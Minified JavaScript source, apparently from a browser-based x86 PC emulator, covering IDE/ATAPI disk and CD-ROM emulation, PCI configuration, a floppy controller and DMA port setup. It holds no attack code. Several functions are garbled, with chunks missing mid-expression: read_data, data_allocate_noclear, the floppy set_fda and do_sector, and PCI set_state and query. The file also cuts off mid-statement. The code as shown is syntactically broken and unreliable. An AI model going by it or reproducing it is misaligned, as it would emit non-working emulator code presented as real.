H(a,b,c,d,e,g,f){this.device=a;this.bus=f;this.nr=e;this.cpu=b;this.buffer=c;this.sector_size=d?2048:512;this.is_atapi=d;this.cylinder_count=this.sectors_per_track=this.head_count=this.sector_count=0;this.buffer&&(this.sector_count=this.buffer.byteLength/this.sector_size,this.sector_count!==(this.sector_count|0)&&(this.sector_count=Math.ceil(this.sector_count)),d?(this.head_count=1,this.sectors_per_track=0):(this.head_count=16,this.sectors_per_track=63),this.cylinder_count=this.sector_count/ +this.head_count/this.sectors_per_track,this.cylinder_count!==(this.cylinder_count|0)&&(this.cylinder_count=Math.floor(this.cylinder_count)),a=b.devices.rtc,a.cmos_write(57,a.cmos_read(57)|1<<4*this.nr),a.cmos_write(18,a.cmos_read(18)&15|240),a.cmos_write(27,this.cylinder_count&255),a.cmos_write(28,this.cylinder_count>>8&255),a.cmos_write(29,this.head_count&255),a.cmos_write(30,255),a.cmos_write(31,255),a.cmos_write(32,200),a.cmos_write(33,this.cylinder_count&255),a.cmos_write(34,this.cylinder_count>> +8&255),a.cmos_write(35,this.sectors_per_track&255));this.stats={sectors_read:0,sectors_written:0,bytes_read:0,bytes_written:0,loading:!1};this.buffer=c;this.drive_head=this.head=this.cylinder_high=this.cylinder_low=this.lba_count=this.sector=this.bytecount=this.is_lba=0;this.status=80;this.sectors_per_drq=128;this.data_pointer=this.error=0;this.data=new Uint8Array(65536);this.data16=new Uint16Array(this.data.buffer);this.data32=new Int32Array(this.data.buffer);this.data_end=this.data_length=0;this.current_atapi_command= +this.current_command=-1;this.last_io_id=this.write_dest=0;this.in_progress_io_ids=new Set;this.cancelled_io_ids=new Set;Object.seal(this)}H.prototype.device_reset=function(){this.is_atapi?(this.status=0,this.sector=this.error=this.bytecount=1,this.cylinder_low=20,this.cylinder_high=235):(this.status=81,this.sector=this.error=this.bytecount=1,this.cylinder_high=this.cylinder_low=0);this.cancel_io_operations()};H.prototype.push_irq=function(){this.device.push_irq()}; +H.prototype.ata_command=function(a){A(a);if(this.buffer)switch(this.current_command=a,this.error=0,a){case 8:this.data_length=this.data_end=this.data_pointer=0;this.device_reset();this.push_irq();break;case 16:this.status=80;this.cylinder_low=0;this.push_irq();break;case 248:this.status=80;a=this.sector_count-1;this.sector=a&255;this.cylinder_low=a>>8&255;this.cylinder_high=a>>16&255;this.drive_head=this.drive_head&240|a>>24&15;this.push_irq();break;case 39:this.status=80;a=this.sector_count-1;this.sector= +a&255;this.cylinder_low=a>>8&255;this.cylinder_high=a>>16&255;this.sector|=a>>24<<8&65280;this.push_irq();break;case 32:case 36:case 41:case 196:this.ata_read_sectors(a);break;case 48:case 52:case 57:case 197:this.ata_write_sectors(a);break;case 144:this.push_irq();this.error=257;this.status=80;break;case 145:this.status=80;this.push_irq();break;case 160:this.is_atapi&&(this.status=88,this.data_allocate(12),this.data_end=12,this.bytecount=1,this.push_irq());break;case 161:this.is_atapi?(this.create_identify_packet(), +this.status=88,this.cylinder_low=20,this.cylinder_high=235):this.status=65;this.push_irq();break;case 198:A(this.bytecount&255);this.sectors_per_drq=this.bytecount&255;this.status=80;this.push_irq();break;case 37:case 200:this.ata_read_sectors_dma(a);break;case 53:case 202:this.ata_write_sectors_dma(a);break;case 64:this.status=80;this.push_irq();break;case 218:this.status=65;this.error=4;this.push_irq();break;case 224:this.status=80;this.push_irq();break;case 225:this.status=80;this.push_irq();break; +case 231:this.status=80;this.push_irq();break;case 236:if(this.is_atapi){this.status=65;this.error=4;this.push_irq();break}this.create_identify_packet();this.status=88;this.push_irq();break;case 234:this.status=80;this.push_irq();break;case 239:A(this.bytecount&255);this.status=80;this.push_irq();break;case 222:this.status=80;this.push_irq();break;case 245:this.status=80;this.push_irq();break;case 249:this.status=65;this.error=4;break;default:A(a),this.status=65,this.error=4}else this.error=4,this.status= +65,this.push_irq()}; +H.prototype.atapi_handle=function(){A(this.data[0]);this.data_pointer=0;this.current_atapi_command=this.data[0];switch(this.current_atapi_command){case 0:this.data_allocate(0);this.data_end=this.data_length;this.status=80;break;case 3:this.data_allocate(this.data[4]);this.data_end=this.data_length;this.status=88;this.data[0]=240;this.data[2]=5;this.data[7]=8;break;case 18:var a=this.data[4];this.status=88;A(this.data[1],2);this.data.set([5,128,1,49,31,0,0,0,83,79,78,89,32,32,32,32,67,68,45,82,79, +77,32,67,68,85,45,49,48,48,48,32,49,46,49,97]);this.data_end=this.data_length=Math.min(36,a);break;case 26:this.data_allocate(this.data[4]);this.data_end=this.data_length;this.status=88;break;case 30:this.data_allocate(0);this.data_end=this.data_length;this.status=80;break;case 37:a=this.sector_count-1;this.data_set(new Uint8Array([a>>24&255,a>>16&255,a>>8&255,a&255,0,0,this.sector_size>>8&255,this.sector_size&255]));this.data_end=this.data_length;this.status=88;break;case 40:this.lba_count&1?this.atapi_read_dma(this.data): +this.atapi_read(this.data);break;case 66:a=this.data[8];this.data_allocate(Math.min(8,a));this.data_end=this.data_length;this.status=88;break;case 67:a=this.data[8]|this.data[7]<<8;var b=this.data[9]>>6;this.data_allocate(a);this.data_end=this.data_length;A(b,2);A(this.data[6]);0===b?(a=this.sector_count,this.data.set(new Uint8Array([0,18,1,1,0,20,1,0,0,0,0,0,0,22,170,0,a>>24,a>>16&255,a>>8&255,a&255]))):1===b&&this.data.set(new Uint8Array([0,10,1,1,0,0,0,0,0,0,0,0]));this.status=88;break;case 70:a= +this.data[8]|this.data[7]<<8;a=Math.min(a,32);this.data_allocate(a);this.data_end=this.data_length;this.data[0]=a-4>>24&255;this.data[1]=a-4>>16&255;this.data[2]=a-4>>8&255;this.data[3]=a-4&255;this.data[6]=8;this.data[10]=3;this.status=88;break;case 81:this.data_allocate(0);this.data_end=this.data_length;this.status=80;break;case 82:A(this.data[0]);this.status=81;this.data_length=0;this.error=80;break;case 90:a=this.data[8]|this.data[7]<<8;b=this.data[2];A(b);42===b&&this.data_allocate(Math.min(30, +a));this.data_end=this.data_length;this.status=88;break;case 189:this.data_allocate(this.data[9]|this.data[8]<<8);this.data_end=this.data_length;this.data[5]=1;this.status=88;break;case 74:this.status=81;this.data_length=0;this.error=80;A(this.data[0]);break;case 190:A(this.data[0]);this.data_allocate(0);this.data_end=this.data_length;this.status=80;break;default:this.status=81,this.data_length=0,this.error=80,A(this.data[0])}this.bytecount=this.bytecount&-8|2;0===(this.status&128)&&this.push_irq(); +0===(this.status&128)&&0===this.data_length&&(this.bytecount|=1,this.status&=-9)};H.prototype.do_write=function(){this.status=80;var a=this.data.subarray(0,this.data_length);this.ata_advance(this.current_command,this.data_length/512);this.push_irq();this.buffer.set(this.write_dest,a,function(){});this.report_write(this.data_length)}; +H.prototype.atapi_read=function(a){var b=a[2]<<24|a[3]<<16|a[4]<<8|a[5],c=a[7]<<8|a[8];a=a[1];var d=c*this.sector_size,e=b*this.sector_size;J("CD read lba="+A(b)+" lbacount="+A(c)+" bytecount="+A(d)+" flags="+A(a),32768);this.data_length=0;var g=this.cylinder_high<<8&65280|this.cylinder_low&255;J(A(this.cylinder_high,2)+" "+A(this.cylinder_low,2),32768);this.cylinder_low=this.cylinder_high=0;65535===g&&g--;g>d&&(g=d);e>=this.buffer.byteLength?(oa(!1,"CD read: Outside of disk end="+A(e+d)+" size="+ +A(this.buffer.byteLength),32768),this.status=255,this.push_irq()):0===d?(this.status=80,this.data_pointer=0):(d=Math.min(d,this.buffer.byteLength-e),this.status=208,this.report_read_start(),this.read_buffer(e,d,f=>{this.data_set(f);this.status=88;this.bytecount=this.bytecount&-8|2;this.push_irq();this.data_end=g&=-4;this.data_end>this.data_length&&(this.data_end=this.data_length);this.cylinder_low=this.data_end&255;this.cylinder_high=this.data_end>>8&255;this.report_read_end(d)}))}; +H.prototype.atapi_read_dma=function(a){var b=a[2]<<24|a[3]<<16|a[4]<<8|a[5],c=a[7]<<8|a[8];a=a[1];var d=c*this.sector_size,e=b*this.sector_size;J("CD read DMA lba="+A(b)+" lbacount="+A(c)+" bytecount="+A(d)+" flags="+A(a),32768);e>=this.buffer.byteLength?(oa(!1,"CD read: Outside of disk end="+A(e+d)+" size="+A(this.buffer.byteLength),32768),this.status=255,this.push_irq()):(this.status=208,this.report_read_start(),this.read_buffer(e,d,g=>{this.report_read_end(d);this.status=88;this.bytecount=this.bytecount& +-8|2;this.data_set(g);this.do_atapi_dma()}))}; +H.prototype.do_atapi_dma=function(){if(0!==(this.device.dma_status&1)&&0!==(this.status&8)){var a=this.device.prdt_addr,b=0,c=this.data;do{var d=this.cpu.read32s(a),e=this.cpu.read16(a+4),g=this.cpu.read8(a+7)&128;e||(e=65536);A(d);A(e);A(this.data_length);this.cpu.write_blob(c.subarray(b,Math.min(b+e,this.data_length)),d);b+=e;a+=8;if(b>=this.data_length&&!g){A(b);A(this.data_length);A(this.current_command);break}}while(!g);this.status=80;this.device.dma_status&=-2;this.bytecount=this.bytecount& +-8|3;this.push_irq()}};H.prototype.read_data=function(a){if(this.data_pointer>>1]:this.data32[this.data_pointer>>>2];this.data_pointer+=a;0===(this.data_pointer&(0===(this.data_end&4095)?4095:255))&&(A(this.data[this.data_pointer],2),A(this.data_pointer),A(this.data_length));this.data_pointer>=this.data_end&&this.read_end();return b}this.data_pointer+=a;return 0}; +H.prototype.read_end=function(){A(this.current_command);A(this.data_pointer);A(this.data_end);A(this.data_length);if(160===this.current_command)if(this.data_end===this.data_length)this.status=80,this.bytecount=this.bytecount&-8|3,this.push_irq();else{this.status=88;this.bytecount=this.bytecount&-8|2;this.push_irq();var a=this.cylinder_high<<8&65280|this.cylinder_low&255;this.data_end+a>this.data_length?(this.cylinder_low=this.data_length-this.data_end&255,this.cylinder_high=this.data_length-this.data_end>> +8&255,this.data_end=this.data_length):this.data_end+=a;A(this.data_end)}else this.error=0,this.data_pointer>=this.data_length?this.status=80:(a=196===this.current_command||41===this.current_command?Math.min(this.sectors_per_drq,(this.data_length-this.data_end)/512):1,this.ata_advance(this.current_command,a),this.data_end+=512*a,this.status=88,this.push_irq())}; +H.prototype.write_data_port=function(a,b){if(this.data_pointer>=this.data_end)A(a),A(this.data_end),A(this.data_pointer);else{if(0===(this.data_pointer+b&(0===(this.data_end&4095)?4095:255))||20>this.data_end)A(a>>>0),A(this.data_end),A(this.data_pointer);1===b?this.data[this.data_pointer++]=a:2===b?(this.data16[this.data_pointer>>>1]=a,this.data_pointer+=2):(this.data32[this.data_pointer>>>2]=a,this.data_pointer+=4);this.data_pointer===this.data_end&&this.write_end()}}; +H.prototype.write_data_port8=function(a){this.write_data_port(a,1)};H.prototype.write_data_port16=function(a){this.write_data_port(a,2)};H.prototype.write_data_port32=function(a){this.write_data_port(a,4)};H.prototype.write_end=function(){160===this.current_command?this.atapi_handle():(A(this.data_pointer),A(this.data_length),this.data_pointer>=this.data_length?this.do_write():(A(this.current_command),this.status=88,this.data_end+=512,this.push_irq()))}; +H.prototype.ata_advance=function(a,b){this.bytecount-=b;36===a||41===a||52===a||57===a||37===a||53===a?(a=b+this.get_lba48(),this.sector=a&255|a>>16&65280,this.cylinder_low=a>>8&255,this.cylinder_high=a>>16&255):this.is_lba?(a=b+this.get_lba28(),this.sector=a&255,this.cylinder_low=a>>8&255,this.cylinder_high=a>>16&255,this.head=this.head&-16|a&15):(a=b+this.get_chs(),b=a/(this.head_count*this.sectors_per_track)|0,this.cylinder_low=b&255,this.cylinder_high=b>>8&255,this.head=(a/this.sectors_per_track| +0)%this.head_count&15,this.sector=a%this.sectors_per_track+1&255,this.get_chs())}; +H.prototype.ata_read_sectors=function(a){var b=36===a||41===a,c=this.get_count(b);b=this.get_lba(b);var d=32===a||36===a,e=c*this.sector_size,g=b*this.sector_size;J("ATA read cmd="+A(a)+" mode="+(this.is_lba?"lba":"chs")+" lba="+A(b)+" lbacount="+A(c)+" bytecount="+A(e),32768);g+e>this.buffer.byteLength?(this.status=255,this.push_irq()):(this.status=192,this.report_read_start(),this.read_buffer(g,e,f=>{this.data_set(f);this.status=88;this.data_end=d?512:Math.min(e,512*this.sectors_per_drq);this.ata_advance(a, +d?1:Math.min(c,this.sectors_per_track));this.push_irq();this.report_read_end(e)}))};H.prototype.ata_read_sectors_dma=function(a){var b=37===a;a=this.get_count(b);b=this.get_lba(b);var c=a*this.sector_size,d=b*this.sector_size;A(b);A(a);A(c);d+c>this.buffer.byteLength?(this.status=255,this.push_irq()):(this.status=88,this.device.dma_status|=1)}; +H.prototype.do_ata_read_sectors_dma=function(){var a=37===this.current_command,b=this.get_count(a);a=this.get_lba(a);var c=b*this.sector_size;a*=this.sector_size;this.report_read_start();this.read_buffer(a,c,d=>{var e=this.device.prdt_addr,g=0;do{var f=this.cpu.read32s(e),k=this.cpu.read16(e+4),l=this.cpu.read8(e+7)&128;k||(k=65536);A(f);A(k);this.cpu.write_blob(d.subarray(g,g+k),f);g+=k;e+=8}while(!l);this.ata_advance(this.current_command,b);this.status=80;this.device.dma_status&=-2;this.current_command= +-1;this.push_irq();this.report_read_end(c)})};H.prototype.ata_write_sectors=function(a){var b=52===a||57===a,c=this.get_count(b);b=this.get_lba(b);a=48===a||52===a;var d=c*this.sector_size,e=b*this.sector_size;A(b);A(c);A(d);e+d>this.buffer.byteLength?(this.status=255,this.push_irq()):(this.status=88,this.data_allocate_noclear(d),this.data_end=a?512:Math.min(d,512*this.sectors_per_drq),this.write_dest=e)}; +H.prototype.ata_write_sectors_dma=function(a){var b=53===a;a=this.get_count(b);b=this.get_lba(b);var c=a*this.sector_size,d=b*this.sector_size;A(b);A(a);A(c);d+c>this.buffer.byteLength?(this.status=255,this.push_irq()):(this.status=88,this.device.dma_status|=1)}; +H.prototype.do_ata_write_sectors_dma=function(){var a=53===this.current_command,b=this.get_count(a),c=this.get_lba(a);a=b*this.sector_size;c*=this.sector_size;var d=this.device.prdt_addr,e=0;J("prdt addr: "+A(d,8),32768);const g=new Uint8Array(a);do{var f=this.cpu.read32s(d),k=this.cpu.read16(d+4),l=this.cpu.read8(d+7)&128;k||(k=65536);J("dma write transfer dest="+A(f)+" prd_count="+A(k),32768);f=this.cpu.mem8.subarray(f,f+k);g.set(f,e);e+=k;d+=8}while(!l);this.buffer.set(c,g,()=>{this.ata_advance(this.current_command, +b);this.status=80;this.push_irq();this.device.dma_status&=-2;this.current_command=-1});this.report_write(a)};H.prototype.get_chs=function(){return((this.cylinder_low&255|this.cylinder_high<<8&65280)*this.head_count+this.head)*this.sectors_per_track+(this.sector&255)-1};H.prototype.get_lba28=function(){return this.sector&255|this.cylinder_low<<8&65280|this.cylinder_high<<16&16711680|(this.head&15)<<24}; +H.prototype.get_lba48=function(){return(this.sector&255|this.cylinder_low<<8&65280|this.cylinder_high<<16&16711680|this.sector>>8<<24&4278190080)>>>0};H.prototype.get_lba=function(a){return a?this.get_lba48():this.is_lba?this.get_lba28():this.get_chs()};H.prototype.get_count=function(a){a?(a=this.bytecount,0===a&&(a=65536)):(a=this.bytecount&255,0===a&&(a=256));return a}; +H.prototype.create_identify_packet=function(){if(this.drive_head&16)this.data_allocate(0);else{for(var a=0;512>a;a++)this.data[a]=0;a=Math.min(16383,this.cylinder_count);this.data_set([64,this.is_atapi?133:0,a,a>>8,0,0,this.head_count,this.head_count>>8,this.sectors_per_track/512,this.sectors_per_track/512>>8,0,2,this.sectors_per_track,this.sectors_per_track>>8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,4,0,0,0,0,0,0,0,0,0,56,118,32,54,68,72,32,32,32,32,32,32,32,32,32,32,32,32,32, +32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,128,0,1,0,0,2,0,0,0,2,0,2,7,0,a,a>>8,this.head_count,this.head_count>>8,this.sectors_per_track,0,this.sector_count&255,this.sector_count>>8&255,this.sector_count>>16&255,this.sector_count>>24&255,0,0,this.sector_count&255,this.sector_count>>8&255,this.sector_count>>16&255,this.sector_count>>24&255,0,0,160===this.current_command?0:7,160===this.current_command?0:4,0,0,30,0,30,0,30,0,30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,126,0, +0,0,0,0,0,116,0,64,0,64,0,116,0,64,0,0,0,0,0,0,0,0,0,0,1,96,0,0,0,0,0,0,0,0,0,0,0,0,this.sector_count&255,this.sector_count>>8&255,this.sector_count>>16&255,this.sector_count>>24&255]);this.data_end=this.data_length=512}};H.prototype.data_allocate=function(a){this.data_allocate_noclear(a);for(var b=0;b>2;b++)this.data32[b]=0}; +H.prototype.data_allocate_noclear=function(a){this.data.length{this.cancelled_io_ids.delete(d)?this.in_progress_io_ids.has(d):(this.in_progress_io_ids.delete(d),c(e))})};H.prototype.cancel_io_operations=function(){for(const a of this.in_progress_io_ids)this.cancelled_io_ids.add(a);this.in_progress_io_ids.clear()}; +H.prototype.get_state=function(){var a=[];a[0]=this.bytecount;a[1]=this.cylinder_count;a[2]=this.cylinder_high;a[3]=this.cylinder_low;a[4]=this.data_pointer;a[5]=0;a[6]=0;a[7]=0;a[8]=0;a[9]=this.drive_head;a[10]=this.error;a[11]=this.head;a[12]=this.head_count;a[13]=this.is_atapi;a[14]=this.is_lba;a[15]=this.lba_count;a[16]=this.data;a[17]=this.data_length;a[18]=this.sector;a[19]=this.sector_count;a[20]=this.sector_size;a[21]=this.sectors_per_drq;a[22]=this.sectors_per_track;a[23]=this.status;a[24]= +this.write_dest;a[25]=this.current_command;a[26]=this.data_end;a[27]=this.current_atapi_command;a[28]=this.buffer;return a}; +H.prototype.set_state=function(a){this.bytecount=a[0];this.cylinder_count=a[1];this.cylinder_high=a[2];this.cylinder_low=a[3];this.data_pointer=a[4];this.drive_head=a[9];this.error=a[10];this.head=a[11];this.head_count=a[12];this.is_atapi=a[13];this.is_lba=a[14];this.lba_count=a[15];this.data=a[16];this.data_length=a[17];this.sector=a[18];this.sector_count=a[19];this.sector_size=a[20];this.sectors_per_drq=a[21];this.sectors_per_track=a[22];this.status=a[23];this.write_dest=a[24];this.current_command= +a[25];this.data_end=a[26];this.current_atapi_command=a[27];this.data16=new Uint16Array(this.data.buffer);this.data32=new Int32Array(this.data.buffer);this.buffer&&this.buffer.set_state(a[28])};function pa(a){this.pci_addr=new Uint8Array(4);this.pci_value=new Uint8Array(4);this.pci_response=new Uint8Array(4);this.pci_status=new Uint8Array(4);this.pci_addr32=new Int32Array(this.pci_addr.buffer);this.pci_value32=new Int32Array(this.pci_value.buffer);this.pci_response32=new Int32Array(this.pci_response.buffer);this.pci_status32=new Int32Array(this.pci_status.buffer);this.device_spaces=[];this.devices=[];this.cpu=a;for(var b=0;256>b;b++)this.device_spaces[b]=void 0,this.devices[b]=void 0;this.io= +a.io;a.io.register_write(3324,this,function(c){this.pci_write8(this.pci_addr32[0],c)},function(c){this.pci_write16(this.pci_addr32[0],c)},function(c){this.pci_write32(this.pci_addr32[0],c)});a.io.register_write(3325,this,function(c){this.pci_write8(this.pci_addr32[0]+1|0,c)});a.io.register_write(3326,this,function(c){this.pci_write8(this.pci_addr32[0]+2|0,c)},function(c){this.pci_write16(this.pci_addr32[0]+2|0,c)});a.io.register_write(3327,this,function(c){this.pci_write8(this.pci_addr32[0]+3|0,c)}); +a.io.register_read_consecutive(3324,this,function(){return this.pci_response[0]},function(){return this.pci_response[1]},function(){return this.pci_response[2]},function(){return this.pci_response[3]});a.io.register_read_consecutive(3320,this,function(){return this.pci_status[0]},function(){return this.pci_status[1]},function(){return this.pci_status[2]},function(){return this.pci_status[3]});a.io.register_write_consecutive(3320,this,function(c){this.pci_addr[0]=c&252},function(c){2===(this.pci_addr[1]& +6)&&6===(c&6)?a.reboot_internal():this.pci_addr[1]=c},function(c){this.pci_addr[2]=c},function(c){this.pci_addr[3]=c;this.pci_query()});this.register_device({pci_id:0,pci_space:[134,128,55,18,0,0,0,0,2,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,0,0],pci_bars:[],name:"82441FX PMC"});this.isa_bridge={pci_id:8,pci_space:[134,128,0,112,7,0,0,2,0,0,1,6,0,0,128,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],pci_bars:[],name:"82371SB PIIX3 ISA"};this.isa_bridge_space=this.register_device(this.isa_bridge);this.isa_bridge_space8=new Uint8Array(this.isa_bridge_space.buffer)}pa.prototype.get_state=function(){for(var a=[],b=0;256>b;b++)a[b]=this.device_spaces[b];a[256]=this.pci_addr;a[257]=this.pci_value;a[258]=this.pci_response;a[259]=this.pci_status;return a}; +pa.prototype.set_state=function(a){for(var b=0;256>b;b++){var c=this.devices[b],d=a[b];if(c&&d){for(var e=0;e>3&31;var d="query enabled="+(this.pci_addr[3]>>7)+(" bdf="+A(a,4));d+=" dev="+A(c,2);d+=" addr="+A(b,2);a=this.device_spaces[a];void 0!==a?(this.pci_status32[0]=-2147483648,this.pci_response32[0]=b>2]:0,d+=" "+A(this.pci_addr32[0]>>>0,8)+" -> "+A(this.pci_response32[0]>>>0,8)):(this.pci_response32[0]=-1,this.pci_status32[0]=0)}; +pa.prototype.pci_write8=function(a,b){var c=a>>8&65535;a&=255;var d=new Uint8Array(this.device_spaces[c].buffer);A(a);A(c>>3,2);A(a,4);A(b,2);d[a]=b};pa.prototype.pci_write16=function(a,b){var c=a>>8&65535;a&=255;var d=new Uint16Array(this.device_spaces[c].buffer);16<=a&&44>a?A(a):(A(a),A(c>>3,2),A(a,4),A(b,4),d[a>>>1]=b)}; +pa.prototype.pci_write32=function(a,b){var c=a>>8&65535;a&=255;var d=this.device_spaces[c],e=this.devices[c];if(d)if(16<=a&&40>a){e=e.pci_bars[a-16>>2];A(b>>>0);A(c>>3,2);if(e){c=a>>2;var g=d[c]&1;-1===(b|3|e.size-1)?(b=~(e.size-1)|g,0===g&&(d[c]=b)):0===g&&(d[c]=e.original_bar);if(1===g){g=d[c]&65534;var f=b&65534;A(g>>>0,8);A(f>>>0,8);this.set_io_bars(e,g,f);d[c]=b|1}}else d[a>>2]=0;A(d[a>>2]>>>0)}else 48===a?(A(c>>3,2),A(b>>>0,8),d[a>>2]=e.pci_rom_size?-1===(b|2047)?-e.pci_rom_size|0:e.pci_rom_address| +0:0):4===a?(A(c>>3,2),A(a,4),A(b>>>0,8)):(A(c>>3,2),A(a,4),A(b>>>0,8),d[a>>>2]=b)};pa.prototype.register_device=function(a){var b=a.pci_id;A(b);var c=new Int32Array(64);c.set(new Int32Array((new Uint8Array(a.pci_space)).buffer));this.device_spaces[b]=c;this.devices[b]=a;b=c.slice(4,10);for(var d=0;d>8&255)-1+((a>>3)-1&255)&3)])};pa.prototype.lower_irq=function(a){this.cpu.device_lower_irq(this.isa_bridge_space8[96+((this.device_spaces[a][15]>>8&255)+(a>>3&255)-2&3)])};function K(a,b){this.io=a.io;this.cpu=a;this.dma=a.devices.dma;this.bytes_expecting=0;this.receiving_command=new Uint8Array(10);this.receiving_index=0;this.next_command=null;this.response_data=new Uint8Array(10);this.last_head=this.last_cylinder=this.drive=this.status_reg2=this.status_reg1=this.status_reg0=this.response_length=this.response_index=0;this.last_sector=1;this.dir=this.dor=0;this.fdb_image=this.fda_image=null;b?this.set_fda(b):(this.eject_fda(),this.cpu.devices.rtc.cmos_write(16,64)); +this.io.register_read(1008,this,this.port3F0_read);this.io.register_read(1010,this,this.port3F2_read);this.io.register_read(1012,this,this.port3F4_read);this.io.register_read(1013,this,this.port3F5_read);this.io.register_read(1015,this,this.port3F7_read);this.io.register_write(1010,this,this.port3F2_write);this.io.register_write(1012,this,this.port3F4_write);this.io.register_write(1013,this,this.port3F5_write)} +K.prototype.eject_fda=function(){this.fda_image=null;this.number_of_cylinders=this.number_of_heads=this.sectors_per_track=0;this.dir=128}; +K.prototype.set_fda=function(a){var b={[163840]:{type:1,tracks:40,sectors:8,heads:1},[184320]:{type:1,tracks:40,sectors:9,heads:1},[204800]:{type:1,tracks:40,sectors:10,heads:1},[327680]:{type:1,tracks:40,sectors:8,heads:2},[368640]:{type:1,tracks:40,sectors:9,heads:2},[409600]:{type:1,tracks:40,sectors:10,heads:2},[737280]:{type:3,tracks:80,sectors:9,heads:2},[1228800]:{type:2,tracks:80,sectors:15,heads:2},[1474560]:{type:4,tracks:80,sectors:18,heads:2},[1763328]:{type:5,tracks:82,sectors:21,heads:2}, +[2949120]:{type:5,tracks:80,sectors:36,heads:2},512:{type:1,tracks:1,sectors:1,heads:1}};let c=a.byteLength,d=b[c];d||(c=1474560>4);A(a);this.dor=a};K.prototype.check_drive_status=function(){this.status_reg1=this.fda_image?0:5;this.response_index=0;this.response_length=1;this.response_data[0]=0}; +K.prototype.seek=function(a){if(0===(a[0]&3)){var b=a[1];a=a[0]>>2&1;b!==this.last_cylinder&&(this.dir=0);this.status_reg1=this.fda_image?0:5;this.status_reg0=32;this.last_cylinder=b;this.last_head=a}this.raise_irq()};K.prototype.calibrate=function(a){this.seek([a[0],0])};K.prototype.check_interrupt_status=function(){this.response_index=0;this.response_length=2;this.response_data[0]=this.status_reg0;this.response_data[1]=this.last_cylinder}; +K.prototype.do_sector=function(a,b){var c=b[2],d=b[1],e=b[3],g=128<this.sectors_per_track&&(d=1,c++,c>=this.number_of_heads&&(c=0,b++)),b!==this.last_cylinder&&(this.dir=0),this.status_reg0=32,this.last_cylinder=b,this.last_head=c,this.last_sector=d,this.response_index=0,this.response_length=7,this.response_data[0]=c<<2|32,this.response_data[1]=0,this.response_data[2]=0,this.response_data[3]=b,this.response_data[4]=c,this.response_data[5]=d,this.response_data[6]=a[4],this.raise_irq())}; +K.prototype.fix_drive_data=function(a){a.slice(0,this.bytes_expecting)};K.prototype.configure=function(a){a.slice(0,this.bytes_expecting)};K.prototype.read_sector_id=function(){this.response_index=0;this.response_length=7;this.response_data[0]=0;this.response_data[1]=0;this.response_data[2]=0;this.response_data[3]=0;this.response_data[4]=0;this.response_data[5]=0;this.response_data[6]=0;this.raise_irq()};K.prototype.raise_irq=function(){this.dor&8&&this.cpu.device_raise_irq(6)};E.prototype.mmap_read8=function(a){return this.memory_map_read8[a>>>17](a)};E.prototype.mmap_write8=function(a,b){this.memory_map_write8[a>>>17](a,b)};E.prototype.mmap_read16=function(a){var b=this.memory_map_read8[a>>>17];return b(a)|b(a+1|0)<<8};E.prototype.mmap_write16=function(a,b){var c=this.memory_map_write8[a>>>17];c(a,b&255);c(a+1|0,b>>8)};E.prototype.mmap_read32=function(a){return this.memory_map_read32[a>>>17](a)}; +E.prototype.mmap_write32=function(a,b){this.memory_map_write32[a>>>17](a,b)};E.prototype.mmap_write64=function(a,b,c){var d=this.memory_map_write32[a>>>17];d(a,b);d(a+4,c)};E.prototype.mmap_write128=function(a,b,c,d,e){var g=this.memory_map_write32[a>>>17];g(a,b);g(a+4,c);g(a+8,d);g(a+12,e)};E.prototype.write_blob=function(a,b){a.length&&(this.in_mapped_range(b),this.in_mapped_range(b+a.length-1),this.jit_dirty_cache(b,b+a.length),this.mem8.set(a,b))}; +E.prototype.read_blob=function(a,b){b&&(this.in_mapped_range(a),this.in_mapped_range(a+b-1));return this.mem8.subarray(a,a+b)};function L(a){this.cpu=a;this.channel_page=new Uint8Array(8);this.channel_pagehi=new Uint8Array(8);this.channel_addr=new Uint16Array(8);this.channel_addr_init=new Uint16Array(8);this.channel_count=new Uint16Array(8);this.channel_count_init=new Uint16Array(8);this.channel_mask=new Uint8Array(8);this.channel_mode=new Uint8Array(8);this.unmask_listeners=[];this.lsb_msb_flipflop=0;a=a.io;a.register_write(0,this,this.port_addr_write.bind(this,0));a.register_write(2,this,this.port_addr_write.bind(this, +1));a.register_write(4,this,this.port_addr_write.bind(this,2));a.register_write(6,this,this.port_addr_write.bind(this,3));a.register_write(1,this,this.port_count_write.bind(this,0));a.register_write(3,this,this.port_count_write.bind(this,1));a.register_write(5,this,this.port_count_write.bind(this,2));a.register_write(7,this,this.port_count_write.bind(this,3));a.register_read(0,this,this.port_addr_read.bind(this,0));a.register_read(2,this,this.port_addr_read.bind(this,1));a.register_read(4,this,this.port_addr_read.bind(this, +2));a.register_read(6,this,this.port_addr_read.bind(this,3));a.register_read(1,this,this.port_count_read.bind(this,0));a.register_read(3,this,this.port_count_read.bind(this,1));a.register_read(5,this,this.port_count_read.bind(this,2));a.register_read(7,this,this.port_count_read.bind(this,3));a.register_write(192,this,this.port_addr_write.bind(this,4));a.register_write(196,this,this.port_addr_write.bind(this,5));a.register_write(200,this,this.port_addr_write.bind(this,6));a.register_write(204,this, +this.port_addr_write.bind(this,7));a.register_write(194,this,this.port_count_write.bind(this,4));a.register_write(198,this,this.port_count_write.bind(this,5));a.register_write(202,this,this.port_count_write.bind(this,6));a.register_write(206,this,this.port_count_write.bind(this,7));a.register_read(192,this,this.port_addr_read.bind(this,4));a.register_read(196,this,this.port_addr_read.bind(this,5));a.register_read(200,this,this.port_addr_read.bind(this,6));a.register_read(204,this,this.port_addr_read.bind(this, +7));a.register_read(194,this,this.port_count_read.bind(this,4));a.register_read(198,this,this.port_count_read.bind(this,5));a.register_read(202,this,this.port_count_read.bind(this,6));a.register_read(206,this,this.port_count_read.bind(this,7));a.register_write(135,this,this.port_page_write.bind(this,0));a.register_write(131,this,this.port_page_write.bind(this,1));a.register_write(129,this,this.port_page_write.bind(this,2));a.register_write(130,this,this.port_page_write.bind(this,3));a.register_write(143, 